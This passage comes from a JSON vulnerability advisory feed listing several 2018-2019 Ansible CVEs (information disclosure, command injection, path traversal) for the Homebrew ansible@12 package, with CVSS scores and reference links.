list.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16837"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47487"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47486"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47445"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47436"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/77928e6c3a2ad878b20312ce5d74d9d7741e0df0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b618339c321c387230d3ea523e80ad47af3de5cf"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f50cc0b8cb399bb7b7c1ad23b94c9404f0cc6d23"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20200227105539/http://www.securityfocus.com/bid/105700"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2018/11/msg00012.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-44.yaml"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/c963ef1dfbf73efea5106624eb48b346f01eaefd/changelogs/CHANGELOG-v2.7.rst?plain=1#L138"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16837"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2018-16837"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3505"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3463"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3462"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3461"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3460"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2018-16876","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-j569-fghw-f9rx","CVE-2018-16876","PYSEC-2019-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible sensitive information disclosure","details":"ansible before versions 2.5.14, 2.6.11, 2.7.5 is vulnerable to a information disclosure flaw in `vvv+` mode with no_log on that can lead to leakage of sensible data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16876"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/51318"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/49569"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e0a81d133ffc8f7067182c53cf6a28c724dd1099"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0954942dfdc563f80fd3e388f550aa165ec931da"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/424c68f15ad9f532d73e5afed33ff477f54281a7"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20200227100904/http://www.securityfocus.com/bid/106225"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-141.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16876"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0590"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0564"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3838"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3837"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3836"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3835"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2019-10156","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-grgm-pph5-j5h7","CVE-2019-10156","PYSEC-2019-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was discovered in the way Ansible templating was implemented in versions before 2.6.18, 2.7.12 and 2.8.2, causing the possibility of information disclosure through unexpected variable substitution. By taking advantage of unintended variable substitution the content of any variable may be disclosed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10156"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/57188"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/04e94274fb92e116e9082cc9b86b1fd05c836922"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3ff6505e8ff0e4655bab008886983476ef903375"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a11c3edfa41e7e4a4db323cdabfc2eae1b61da2a"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10156"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-grgm-pph5-j5h7"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-2.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2019-10206","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-cqmr-rcpr-cxh3","CVE-2019-10206","PYSEC-2019-145"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible password prompts could expose passwords","details":"ansible-playbook -k and ansible cli tools, all versions 2.8.x before 2.8.4, all 2.7.x before 2.7.13 and all 2.6.x before 2.6.19, prompt passwords by expanding them from templates as they could contain special characters. Passwords should be wrapped to prevent templates trigger and exposing them.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10206"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4b5aed4e5af4c7aab621662f50a289e99b8ac393"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d39488ece44956f6a169a498b067bbef54552be1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d728127310b4f3a40ce8b9df3affb88ffaeea073"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10206"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-145.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2019-10217","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-p75j-wc34-527c","CVE-2019-10217","PYSEC-2019-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was found in ansible 2.8.0 before 2.8.4. Fields managing sensitive data should be set as such by no_log feature. Some of these fields in GCP modules are not set properly. service_account_contents() which is common class for all gcp modules is not setting no_log to True. Any sensitive data managed by that function would be leak as an output when running ansible playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10217"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/56269"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/59427"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c1ee1f142db1e669b710a65147ea32be47a91519"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10217"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p75j-wc34-527c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-3.yaml"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2019-14846","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-pm48-cvv2-29q5","CVE-2019-14846","PYSEC-2019-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Uses Plugins That Disclose Credentials","details":"Ansible, all ansible_engine-2.x versions and ansible_engine-3.x up to ansible_engine-3.5, was logging at the DEBUG level which lead to a disclosure of credentials if a plugin used a library that logged credentials at the DEBUG level. This flaw does not affect Ansible modules, as those are executed in a separate process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14846"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63366"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/90e74dd2600e5cc42dd9b4f4656f3d651c4ce5c4"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/cb0f535a8b254a2daf69cd067e842fabb2993034"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d961f676c01023a6a21503df16ba551a550e515b"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14846"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-4.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2019-14858","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-h653-95qw-h2mp","CVE-2019-14858","PYSEC-2019-171"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0rc4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible leaks sensitive information to logs when told not to","details":"A vulnerability was found in Ansible engine 2.x up to 2.8 and Ansible tower 3.x up to 3.5. When a module has an argument_spec with sub parameters marked as `no_log`, passing an invalid parameter name to the module will cause the task to fail before the `no_log` options in the sub parameters are processed. As a result, data in the sub parameter fields will not be masked and will be displayed if Ansible is run with increased verbosity and present in the module invocation arguments for the task.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14858"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63405"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0fd656e9964a91f2e8b1e9bbf78c74661ab9d37b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3dfb8e81bb5f776a6b00c7a90dd087e85b71f8bb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/87f8d77d70476454f7fe2381bd363a329ce4266c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f610ed3a4eb87eb557200606279796921fa9b722"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14858"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-171.yaml"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2019-14864","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-3m93-m4q6-mc6v","CVE-2019-14864","PYSEC-2020-160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"}]},"summary":"Inclusion of Sensitive Information in Log Files and Improper Output Neutralization for Logs in Ansible","details":"Ansible, versions 2.9.x before 2.9.1, 2.8.x before 2.8.7 and Ansible versions 2.7.x before 2.7.15, is not respecting the flag no_log set it to True when Sumologic and Splunk callback plugins are used send tasks results events to collectors. This would discloses and collects any sensitive data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14864"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/63522"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63527"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64273"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64274"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64748"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/050f92f96054bf59e283fdec9972323c2ed00348"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/75288a89d0053d6df35c90863fb6c9542d89850e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0ec2976b2716cdecdd7a8f416d96406acd79b7c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c76e074e4c71c7621a1ca8159261c1959b5287af"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14864"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3m93-m4q6-mc6v"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-160.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2019-14904","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-gwr8-5j83-483c","CVE-2019-14904","PYSEC-2020-161"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"OS Command Injection and Improper Input Validation in ansible","details":"A flaw was found in the solaris_zone module from the Ansible Community modules. When setting the name for the zone on the Solaris host, the zone name is checked by listing the process with the 'ps' bare command on the remote machine. An attacker could take advantage of this flaw by crafting the name of the zone and executing arbitrary commands in the remote host. Ansible Engine 2.7.15, 2.8.7, and 2.9.2 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14904"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/65686"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/589a415f887b6f2bb65cd07fe6b2e9d0a8156b69"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6a86650109b8654f5898369e45d3857624edf907"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a1b0f72c98b4b2afaab8aafa255e82c2075049c8"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1776944"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gwr8-5j83-483c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-161.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2019-14905","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-frxj-5j27-f8rf","CVE-2019-14905","PYSEC-2020-206"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Externally Controlled Reference to a Resource in Another Sphere, Improper Input Validation, and External Control of File Name or Path in Ansible","details":"A vulnerability was found in Ansible Engine versions 2.9.x before 2.9.3, 2.8.x before 2.8.8, 2.7.x before 2.7.16 and earlier, where in Ansible's nxos_file_copy module can be used to copy files to a flash or bootflash on NXOS devices. Malicious code could craft the filename parameter to perform OS command injections. This could result in a loss of confidentiality of the system among other issues.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14905"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0216"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0218"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14905"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-frxj-5j27-f8rf"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-206.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5BNCYPQ4BY5QHBCJOAOPANB5FHATW2BR"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2019-3828","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-74vq-h4q8-x6jv","CVE-2019-3828","PYSEC-2019-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Path Traversal vulnerability","details":"Ansible fetch module before versions 2.5.15, 2.6.14, 2.7.8 has a path traversal vulnerability which allows copying and overwriting files outside of the specified destination in the local ansible controller host, by not restricting an absolute 